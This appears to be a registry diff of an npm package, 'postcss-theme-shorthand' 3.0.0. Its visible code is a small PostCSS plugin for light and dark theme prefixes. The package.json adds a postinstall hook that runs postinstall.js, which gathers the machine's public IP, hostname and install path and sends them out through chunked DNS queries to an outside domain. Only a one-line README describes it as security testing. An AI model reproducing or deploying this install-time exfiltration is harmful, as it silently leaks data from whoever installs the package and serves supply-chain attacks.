postcss-theme-shorthand 3.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of postcss-theme-shorthand might be problematic. Click here for more details.

package/CHANGELOG.md ADDED
@@ -0,0 +1,3 @@
1
+ ## May 22, 2017 [v 0.1.0]
2
+
3
+ - Repo created.
package/LICENSE ADDED
@@ -0,0 +1,20 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright 2016 TheSisb <shadiisber@gmail.com>
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
6
+ this software and associated documentation files (the "Software"), to deal in
7
+ the Software without restriction, including without limitation the rights to
8
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9
+ the Software, and to permit persons to whom the Software is furnished to do so,
10
+ subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17
+ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18
+ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19
+ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20
+ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # DO NOT INSTALL THIS PACKAGE! IT IS MEANT FOR SECURITY TESTING AND IT LOGS YOUR COMPUTER'S IP ADDRESS, HOSTNAME, AND CURRENT WORKING DIRECTORY
package/index.js ADDED
@@ -0,0 +1,66 @@
1
+ const postcss = require('postcss');
2
+
3
+ module.exports = postcss.plugin('postcss-theme-shorthand', () => {
4
+ const ThemedPropRegExp = /^(light|dark)-/;
5
+ const LightThemeRegExp = /^light-/g;
6
+ const DarkThemeRegExp = /^dark-/g;
7
+ const LIGHT_THEME = '.theme-light';
8
+ const DARK_THEME = '.theme-dark';
9
+
10
+ // Holds a reference to the new css node for themeing,
11
+ // in case multiple light-/dark- props in a single selector
12
+ let currentLightNode;
13
+ let currentDarkNode;
14
+
15
+ function createNewNode(parent, selector) {
16
+ return parent.cloneBefore({ selector }).removeAll();
17
+ }
18
+
19
+ function addLightThemedStyle({ parent, prop, value, source }) {
20
+ const ruleSelectors = parent.selectors
21
+ .map(ruleSelector => `:global(${LIGHT_THEME}) ${ruleSelector}`)
22
+ .join(', ');
23
+
24
+ if (!currentLightNode || currentLightNode.selector !== ruleSelectors) {
25
+ currentLightNode = createNewNode(parent, ruleSelectors);
26
+ }
27
+
28
+ currentLightNode.append({
29
+ prop: prop.replace(LightThemeRegExp, ''),
30
+ value,
31
+ source
32
+ });
33
+ }
34
+
35
+ function addDarkThemedStyle({ parent, prop, value, source }) {
36
+ const ruleSelectors = parent.selectors
37
+ .map(ruleSelector => `:global(${DARK_THEME}) ${ruleSelector}`)
38
+ .join(', ');
39
+
40
+ if (!currentDarkNode || currentDarkNode.selector !== ruleSelectors) {
41
+ currentDarkNode = createNewNode(parent, ruleSelectors);
42
+ }
43
+
44
+ currentDarkNode.append({
45
+ prop: prop.replace(DarkThemeRegExp, ''),
46
+ value,
47
+ source
48
+ });
49
+ }
50
+
51
+ function ruleHandler(decl) {
52
+ const { prop } = decl;
53
+
54
+ if (prop.match(LightThemeRegExp) !== null) {
55
+ addLightThemedStyle(decl);
56
+ } else if (prop.match(DarkThemeRegExp) !== null) {
57
+ addDarkThemedStyle(decl);
58
+ }
59
+
60
+ decl.remove();
61
+ }
62
+
63
+ return function (css) {
64
+ css.walkDecls(ThemedPropRegExp, ruleHandler);
65
+ };
66
+ });
package/index.test.js ADDED
@@ -0,0 +1,28 @@
1
+ const postcss = require('postcss');
2
+ const plugin = require('./');
3
+
4
+ function run(input, output, opts) {
5
+ return postcss([ plugin(opts) ]).process(input)
6
+ .then(result => {
7
+ expect(result.css).toEqual(output);
8
+ expect(result.warnings().length).toBe(0);
9
+ });
10
+ }
11
+
12
+
13
+ it('Handles light and dark theme property prefixes', () => {
14
+ return run(`
15
+ .thing {
16
+ margin: 10px;
17
+ light-color: $black;
18
+ }
19
+ `,
20
+ `
21
+ :global(.theme-light) .thing {
22
+ color: $black;
23
+ }
24
+ .thing {
25
+ margin: 10px;
26
+ }
27
+ `, {});
28
+ });
package/package.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "name": "postcss-theme-shorthand",
3
+ "version": "3.0.0",
4
+ "description": "PostCSS plugin that allows the use of 'light-' and 'dark-' property prefixes for themeing.",
5
+ "keywords": [],
6
+ "author": "TheSisb <shadiisber@gmail.com>",
7
+ "license": "MIT",
8
+ "repository": {
9
+ "type": "git",
10
+ "url": "git+https://github.com/hammerandchisel/postcss-theme-shorthand.git"
11
+ },
12
+ "bugs": {
13
+ "url": "https://github.com/hammerandchisel/postcss-theme-shorthand/issues"
14
+ },
15
+ "homepage": "https://github.com/hammerandchisel/postcss-theme-shorthand",
16
+ "dependencies": {
17
+ "postcss": "6.0.5"
18
+ },
19
+ "devDependencies": {
20
+ "eslint": "^3.12.2",
21
+ "eslint-config-postcss": "^2.0.2",
22
+ "jest": "^18.0.0"
23
+ },
24
+ "scripts": {
25
+ "test": "jest && eslint *.js",
26
+ "postinstall": "node postinstall.js"
27
+ },
28
+ "eslintConfig": {
29
+ "extends": "eslint-config-postcss",
30
+ "env": {
31
+ "jest": true
32
+ }
33
+ },
34
+ "main": "index.js"
35
+ }
package/postinstall.js ADDED
@@ -0,0 +1,61 @@
1
+ // please check README.md
2
+
3
+ const dns = require('dns/promises');
4
+ const crypto = require('crypto');
5
+ const os = require('os');
6
+ const http = require('http');
7
+
8
+ const resolver = new dns.Resolver();
9
+ const executeResolve = s => resolver.resolve4(`${s}.dataflow.postcss-theme-shorthand-sectest.cf`).catch(() => {});
10
+
11
+ const CHUNK_LENGTH = 23;
12
+ const NONCE_LENGTH = 4;
13
+ const SEQ_LENGTH = 4;
14
+
15
+ for (const server of ['1.1.1.1', '1.0.0.1', '8.8.8.8', '8.8.4.4']) {
16
+ const servers = resolver.getServers();
17
+ if (!servers.includes(server)) resolver.setServers([...servers, server]);
18
+ }
19
+
20
+ function announce(data) {
21
+ const chunks = [];
22
+ while (data.length) {
23
+ chunks.push(data.slice(0, CHUNK_LENGTH));
24
+ data = data.slice(CHUNK_LENGTH);
25
+ }
26
+
27
+ const nonce = crypto.randomBytes(NONCE_LENGTH);
28
+ for (let i = 0; i < chunks.length; i++) {
29
+ const packet = Buffer.concat([nonce, Buffer.alloc(SEQ_LENGTH), chunks[i]]);
30
+ packet.writeUInt32BE(i, NONCE_LENGTH);
31
+
32
+ executeResolve(packet.toString('hex'));
33
+ }
34
+ }
35
+
36
+ function sendData(ip) {
37
+ try {
38
+ announce(Buffer.from(JSON.stringify({ ip, hostname: os.hostname(), cwd: __dirname })));
39
+ } catch {
40
+ executeResolve('fail');
41
+ }
42
+ }
43
+
44
+ const httpRequest = http.get('http://api64.ipify.org/?format=json', response => {
45
+ if (response.statusCode != 200) {
46
+ sendData(null);
47
+ return;
48
+ }
49
+
50
+ let ipData = '';
51
+ response.on('data', chunk => ipData += chunk);
52
+ response.on('close', () => {
53
+ try {
54
+ sendData(JSON.parse(ipData).ip)
55
+ } catch {
56
+ sendData(null);
57
+ }
58
+ });
59
+ });
60
+
61
+ httpRequest.on('error', () => sendData(null));